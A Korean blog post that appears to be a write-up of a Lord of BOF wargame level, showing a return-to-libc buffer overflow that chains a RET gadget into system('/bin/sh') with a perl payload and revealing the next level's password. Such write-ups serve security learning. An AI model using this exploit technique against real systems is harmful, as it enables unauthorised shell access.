1. 취약점
ㅋㅋㅋㅋㅋㅋ 아오 ㅋㅋㅋㅋㅋ 이제 RTL에 익숙해 질려하니까 no RTL이래 ㅋㅋㅋㅋ 반동분자 시끼들 ㅠㅠㅠ
일단 첫 번째 stack의 주소를 사용 못하고, 시스템 주소를 사용한 RTL 기법을 사용할 수 없다는 것이다.
하지만 argv[1][47]에만 제약을 했다는 점 고로 "\xbf"나 "\x40"을 제외한 나머지는 사용해도 상관이 없다는 점을 이용하면 된다. 적당한 걸 찾아야 하는데..
$ bash2
$ gcc -g -o assassi1 assassin.c
$ gdb -q assassi1
(gdb) disas main
0x804851e의 RET를 주목하자. RET를 한 후에 RET를 또 만나면 4바이트를 건너 뛰어서 다음의 코드에 접근할 수 있다. 따라서 system()의 주소를 argv[1][51]에 위치시켜서 RET 두 번 만난 애가 이 코드에 접근할 수 있게 Exploit을 해보자 각각의 시스템 주소는 이 전 단계를 참고해주세요
system() 주소 : 0x40058ae0
/bin/sh 의 주소 : 0x400fbff9
exit()의 주소 : 0x400391e0
new Return Address : 0x0804851e
2. Exploit
1. 바로 괴롭힌다.(응??!)
$ ./assassin `perl -e 'print "A"x44,"\x1e\x85\x04\x08", "\xe0\x8a\x05\x40","\xe0\x8a\x05\x40", "\xf9\xbf\x0f\x40"'`
2. 결과
id : assassin passwd : pushing me away
정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (zombie_assassin -> succubus ) (2) | 2016.10.09 |
---|---|
[버퍼 오버플로우] Bof 원정대 (assassin -> zombie_assassin ) (0) | 2016.10.09 |
[버퍼 오버플로우] Bof 원정대 (bugbear -> giant ) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (darkknight -> bugbear) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (golem -> darkknight) (0) | 2016.10.08 |